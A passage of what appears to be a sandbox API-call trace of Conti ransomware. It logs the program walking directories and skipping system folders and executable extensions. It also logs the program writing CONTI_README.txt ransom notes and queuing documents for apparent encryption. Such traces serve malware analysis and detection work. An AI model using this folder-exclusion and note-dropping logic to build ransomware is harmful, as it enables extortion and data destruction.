	[0093.457] FindNextFileW (in: hFindFile=0x175e630, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.457] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.457] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.457] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.457] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.457] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.457] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.457] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.457] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.458] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.458] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26
	[0093.458] lstrlenW (lpString="eula.rtf") returned 8
	[0093.458] GetProcessHeap () returned 0x1720000
	[0093.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d5a8
	[0093.458] lstrcpyW (in: lpString1=0x173d5a8, lpString2="C:\\588bce7c90097ed212\\1040" | out: lpString1="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0093.458] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0093.458] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf"
	[0093.458] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5c48) returned 1
	[0093.458] FindNextFileW (in: hFindFile=0x175e630, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.458] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.458] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.458] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26
	[0093.458] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.458] GetProcessHeap () returned 0x1720000
	[0093.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0780
	[0093.458] lstrcpyW (in: lpString1=0x17c0780, lpString2="C:\\588bce7c90097ed212\\1040" | out: lpString1="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0093.458] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0093.458] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml"
	[0093.458] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c47c0) returned 1
	[0093.458] FindNextFileW (in: hFindFile=0x175e630, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.458] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.458] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.458] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.459] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.459] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.459] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.459] FindNextFileW (in: hFindFile=0x175e630, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.459] GetProcessHeap () returned 0x1720000
	[0093.459] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0093.459] FindClose (in: hFindFile=0x175e630 | out: hFindFile=0x175e630) returned 1
	[0093.459] GetProcessHeap () returned 0x1720000
	[0093.459] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.459] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1041", cAlternateFileName="")) returned 1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2=".") returned 1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="..") returned 1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="tmp") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="winnt") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="Application Data") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="AppData") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="temp") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="thumb") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="$Recycle.Bin") returned 1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="$RECYCLE.BIN") returned 1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="System Volume Information") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="Program Files") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="Program Files (x86)") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="Boot") returned -1
	[0093.459] lstrcmpiW (lpString1="1041", lpString2="Windows") returned -1
	[0093.459] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.459] lstrlenW (lpString="1041") returned 4
	[0093.459] GetProcessHeap () returned 0x1720000
	[0093.459] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.459] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.459] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.459] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1041" | out: lpString1="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0093.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26
	[0093.459] GetProcessHeap () returned 0x1720000
	[0093.459] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734990
	[0093.460] lstrcpyW (in: lpString1=0x1734990, lpString2="C:\\588bce7c90097ed212\\1041" | out: lpString1="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0093.460] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1041\\*") returned="C:\\588bce7c90097ed212\\1041\\*"
	[0093.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26
	[0093.460] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.460] GetProcessHeap () returned 0x1720000
	[0093.460] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.460] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1041" | out: lpString1="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0093.460] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0093.460] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1041\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1041\\CONTI_README.txt"
	[0093.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.473] GetProcessHeap () returned 0x1720000
	[0093.473] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.473] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.473] CloseHandle (hObject=0x338) returned 1
	[0093.474] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8f34af, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e430
	[0093.474] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.474] FindNextFileW (in: hFindFile=0x175e430, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8f34af, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.474] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.474] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.474] FindNextFileW (in: hFindFile=0x175e430, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8cd2cd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b8cd2cd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b8f34af, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.474] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.474] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.474] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.474] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.474] FindNextFileW (in: hFindFile=0x175e430, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.474] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.474] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.474] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26
	[0093.474] lstrlenW (lpString="eula.rtf") returned 8
	[0093.474] GetProcessHeap () returned 0x1720000
	[0093.474] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d558
	[0093.474] lstrcpyW (in: lpString1=0x173d558, lpString2="C:\\588bce7c90097ed212\\1041" | out: lpString1="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0093.474] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0093.474] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf"
	[0093.474] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4c50) returned 1
	[0093.475] FindNextFileW (in: hFindFile=0x175e430, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.475] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.475] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.475] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26
	[0093.475] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.475] GetProcessHeap () returned 0x1720000
	[0093.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0ac0
	[0093.475] lstrcpyW (in: lpString1=0x17c0ac0, lpString2="C:\\588bce7c90097ed212\\1041" | out: lpString1="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0093.475] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0093.475] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml"
	[0093.475] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5c48) returned 1
	[0093.475] FindNextFileW (in: hFindFile=0x175e430, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.475] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.475] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.475] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.475] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.475] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.475] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.475] FindNextFileW (in: hFindFile=0x175e430, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.475] GetProcessHeap () returned 0x1720000
	[0093.475] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734990 | out: hHeap=0x1720000) returned 1
	[0093.475] FindClose (in: hFindFile=0x175e430 | out: hFindFile=0x175e430) returned 1
	[0093.476] GetProcessHeap () returned 0x1720000
	[0093.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.476] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1042", cAlternateFileName="")) returned 1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2=".") returned 1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="..") returned 1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="tmp") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="winnt") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="Application Data") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="AppData") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="temp") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="thumb") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="$Recycle.Bin") returned 1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="$RECYCLE.BIN") returned 1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="System Volume Information") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="Program Files") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="Program Files (x86)") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="Boot") returned -1
	[0093.476] lstrcmpiW (lpString1="1042", lpString2="Windows") returned -1
	[0093.476] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.476] lstrlenW (lpString="1042") returned 4
	[0093.476] GetProcessHeap () returned 0x1720000
	[0093.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.476] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.476] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.476] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1042" | out: lpString1="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0093.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26
	[0093.476] GetProcessHeap () returned 0x1720000
	[0093.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x17346c0
	[0093.476] lstrcpyW (in: lpString1=0x17346c0, lpString2="C:\\588bce7c90097ed212\\1042" | out: lpString1="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0093.476] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1042\\*") returned="C:\\588bce7c90097ed212\\1042\\*"
	[0093.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26
	[0093.476] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.476] GetProcessHeap () returned 0x1720000
	[0093.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.476] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1042" | out: lpString1="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0093.476] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0093.477] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1042\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1042\\CONTI_README.txt"
	[0093.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.486] GetProcessHeap () returned 0x1720000
	[0093.486] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.486] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.487] CloseHandle (hObject=0x338) returned 1
	[0093.487] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8f34af, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e6b0
	[0093.488] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.488] FindNextFileW (in: hFindFile=0x175e6b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8f34af, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.488] lstrcmpiW (lpString1="..", lpString2=".") returned 1
